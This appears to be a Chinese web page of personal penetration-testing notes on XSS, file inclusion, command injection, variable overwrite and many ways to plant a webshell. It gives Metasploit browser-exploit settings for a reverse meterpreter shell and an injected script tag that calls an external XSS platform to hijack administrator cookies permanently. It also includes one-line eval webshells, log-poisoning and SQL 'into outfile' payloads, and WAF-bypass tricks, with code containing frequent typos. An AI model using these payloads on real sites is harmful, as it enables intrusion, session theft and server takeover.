首页 > 代码库 > 其他漏洞笔记合集

其他漏洞笔记合集

xss跨站漏洞纯手打笔记(基础)

 XSS漏洞扫描
常用工具:
wvs
椰树
safe3
Xelenium
w3af
vega
xss扫描插件+burp
 
 
Beef:
 
beef+msf拿客户端shell(ie6 xp)
use windows/browser/ms10_002_aurora
 
set PAYLOAD windows/meterpreter/reverse_tvp PAYLOAD =>wondows/meterpreter/reverse_tcp
 
set SRVHOST (my ip)
 
set SRVPORT 7777
 
set URIPTH /
 
set LHOST(MY IP)
 
set LPORT 4444(端口)
 
cxploit
 
 
beef+msf拿客户端shell(ie7.8.9)
use exploit windows/browser/ie_execcommand_uaf
 
show options
 
set SRVHOST (my ip)
 
set SRVPORT 8888(端口)
 
set URIPATH /
 
cxploit
 
 
留后门:
</textarea>‘"><script src=http://webxss.cn/1kDF43?1444052356></script>;;
写入管理员登录页面
永久劫持管理员cookie
 
xss平台搭建:
 
使用工具:
wamp2.2+xss.me源码
 
 
文件包含漏洞:利用条件
1.include()等函数通过变量的方式引入需要包含的文件
2.用户能控制该动态变量
文件包含漏洞是代码注入的一种,原理就是注入一段用户能控
制的脚本或代码,并让服务器端执行,代码注入的典型代表就
是文件包含file  inclusion。文件包含可能会出现在jsp php 
asp等语言中,常见的导致文件包含的函数如下:
 
php:
include(),include_once(),require(),require_once
 
(),fopen(),readfile().....
 
当使用者4个函数包含一个新文件时,该文件将作为php代码执行,php内核并不在意该被包含的文件是什么类型,
<?ph$test=$_GET["x"];inxlude($test);?>保存为include.php
在同一个目录下创建为test.tst内容为<?php phpinfo()?>
访问测试//http://127.0.0.1/test/include.php?c=test.txt
访问链接,将xx.txt传送给c并赋予test变量
 
远程文件包含:
如果php的配置选项allow_url_include为on,则
 
include/require函数是可以加载远程文件的,这种漏洞被称
 
为远程漏洞(RFI)
代码:
<?php$test=$_GET["c"];include($test);?> 保存为
 
include.php
访问测试//http://127.0.0.1/test/include.php?
 
c=http://mysqlmap.sql.com/xx.txt
 
 
JSP/Servlet:ava.io.file(),java.io.filereader()....
 
 
ASP:include file,include virtual....
 
 
本地文件包含漏洞利用技巧:
1.包含用户上传的文件
用户上传的文件内容中如果包含了php代码,那么这些代码被
 
include()加载后将会被执行
 
2.包含日志文件,比如Web Server的access Log.
同过构造与句让服务器报错并将一句话虽报错信息写入日志,
 
找到日志文件,用菜刀链接,拿下网站。
 
3.包含data://或者php://input等伪协议
 
4.包含了Session文件
 
 
实验:ekucms2.5》制作错误,写入一句话木马》
 
http://127.0.0.1ekucms/index.php?s=my/show/id/{~eval
 
($_POST[x])}
 
命令注入漏洞:
php命令执行函数:
在php中可以使用下列5个函数来执行外部的应用程序或函数
1.system:执行一个外部的应用程序并显示输出的结果
system函数:
原型:string system(string command,int &return_var)
其中,command
是要执行命令, return_var存放执行命令的执行后的状态值
同样,构造php代码如下:
 
<?php $cmd = $_GET["cmd"]echo"<pre>";system
 
($cmd);echo"</pre>";?>
 
在浏览器中访问这个php文件,并提交cmd的内容为"net 
 
start" 黑客目的是通过命令注入攻击查看web服务器主机都开
 
启了那些服务
 
2.exec:执行一个外部的的应用程序
函数原型如下:
string exec (string command,array &output,int 
 
&return_var)其中,command是执行的命令,output是获得执行
 
命令输出的每一行字符串,returm——var存放执行命令后的
 
状态值
构造php代码如下:
 
<?php $x=$_GET["x"];echo shell_exec($x);?>
 
 
3.passthru:执行一个UNIX系统命令并显示原始的输出
Passthru函数以用来执行一个UNIX系统命令并显示原始的输出
 
,当unix系统命令的输出是二进制的数据,并且需要直接返回
 
值给浏览器时,需要使用passthru函数来代替system与exec函
 
数。
passthru函数原型如下:
 
void passthru (string command,nit &returm_var)
 
其中,command是要执行的命令,returm_var存放执行命令后
 
的状态值
构造php代码如下:
 
<? $cmd = $_GET["cmd"]echo"<pre>";system
 
($cmd);echo"</pre>";?>
 
 
4.shell_exec:执行shell命令并返回输出的结果的字符串
函数原型如下:
 
string shell_exec(string command)
其中,command是要执行的命令
代码如下:
 
<? $cmd = $_GET["cmd"];echo "<pre>";sehll_exec
 
($cmd);echo "</pre>";?>
 
5. "‘‘"运算符:与shell_exec函数的功能相同
 
 
 
变量覆盖漏洞:
产生:变量如果没有初始化,而且能被用户控制,
在php中,若register_globals为on(启用)时非常严重
此为全局变量覆盖漏洞
 
代码:
<?php 
$x="xxx";
$y="seven";
echon $x;
echon "<hr>";
echon $y;
echon "<hr>";
$y=$_GET["x"];
echon $y
?>
 
下载漏洞:
利用:通过蜘蛛爬行,找到该url,下载 conn.asp  config.php config.asp db.ndb
(谷歌黑客:/down.asp?fileup=)
 
webshell:
 
爆破webshll密码:
burpsuite
webshell密码爆破器
 
 
 
拿webshell方法总结:
管理权限拿:
 
14种常见的:
1.正常上传:网站对上传文件后缀格式并为过滤,直接上传webshell就可以。(不限制上传类型,可随意上传伪装的木马)
 
2.数据库备份拿:网站对上传的文件后缀进行过滤,不允许上传脚本类型文件,如:asp php jsp aspx等。而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式如:jpg gif等。然后,我们找到上传后的文件路径,通过数据库备份,将文件备份改为脚本格式。
 
3.本地js验证突破拿webshell:当网站设置了js来限制文件类型时,我们可以通过删除js验证或者修改上传类型突破上传拿webshell,使用burpsuite或者fiddle
等代理工具提交,本地文件先改为jpg,上传时拦截,在把文件扩展名改为asp或者php即可。
 
4.上传其他脚本类型拿webshell:这种类型用于一台服务器具有多个网站,a网站是asp的站,b可能是php的站,a中限制了上传文件类型为asp的文件,你可以尝试上传php的脚本来拿webshell。
 
5.(和编辑器配合)利用解析漏洞拿wbeshell:(常见的编辑器fckeditor,ewebeditor,cheditor)
IIS 5.x/6.0解析漏洞
IIS 7.0/IIS 7.5/ Nginx <8.03畸形漏洞
Nginx <8.03 空子节代码执行漏洞
Apache解析漏洞
 
6.网站配置插马拿webshell:通过找到网站默认配置,讲一句话查到网站配置中,不过为了能成功执行插马,建议先下载该网站源码,进行查看源码过滤规则,防止插马失败;
"%><%eval request("hydra")%><%"(闭合一句话)
 
7.通过编辑模板拿webshell:通过网站的模板进行编辑写入一句话,然后生存脚本文件拿webshell,或者通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿webshell。(有的网站可以修改添加脚本文件,直接拿swebshell)
 
8.数据库命令执行拿webshell:可以通过phpmyadmin登录数据库命令来写一句话拿webshell。
Hydra TABLE study (cmd text NOT NULL)
Insert INTO study (cmd) VALUES(‘<?php eval ($_POST[cmd])?>‘)
select cmd feom study into outfile‘D:/php/www.htdocs/test/seven.php‘
Drop TABLE IF EXISTS study
 
9.通过静态页面拿webshell:通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿
也通过将木马添加到压缩文件,把名字改为网站模板类型上传到网站服务器拿
 
10.(上传特殊马拿webshell:一些网站安装了waf安全狗,360,我们可以通过上传一些免杀马,变形马来进行突破封杀。)文件包含拿webshell:先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可以绕过waf,
asp包含:<!--#indude file="xx.jpg"--> 调用的文件必须和被调用文件在同一目录,否则找不到,绕过在不同的目录下,用下面的语句:<!--#indude virtual="文件所在目录/xx.jpg">
 
php包含:
<?php
indude("xx.jpg");
?>
 
 
普通权限拿webshell:
 
1.0day拿webshell:这个不多说。可以去网上搜索一些,比如你找到你搞的网站cms是discz的,你可以搜索一些相关0day直接拿
 
2.修改网站上传类型配置拿webshell:有的网站,在网站上传类型中限制了上传脚本类型文件,我们可以通过添加文件上传类型,如天剑 asp php jpg aspx asa来拿webshell。(非常老的方法不过有的网站还是存在。如果运气好可以碰到)
 
3.IIS写权限拿webshell:比较少见,有专门的利用工具,原理是通过找到有iis写入权限的网站,put进去一个txt的文件,目录必须有刻写的权限,如image文件夹,然后通过move方法,把txt格式的木马move成脚本格式,如一开始上传的是xx.txt move成xx.asp。
 
4.通过远程命令执行拿webshell:关于命令执行,php程序相对来说比较多见,可以通过执行一些系统命令进行拿webshell。
 
5.strusts2拿webshell:网上有工具可以直接拿。(这种漏洞凤毛菱角,几乎灭绝了)
 
6.通过用户头像上传拿webshell(Ps:需要抓包改包):用户注册后有些网站可以上传图片,附件,文件等,可以利用上传拿webshell。
 
7.通过注入漏洞拿webshell:要有足够的权限,对写入木马的文件夹有写入权限,知道网站绝对路径。
对于MySQL注入漏洞网站可以通过log备份,差异备份拿webshell。也可以通过into file 函数将一句话木马写入拿webshell,还可以利用phpmyadmin 将木马导出拿webshell。

其他漏洞笔记合集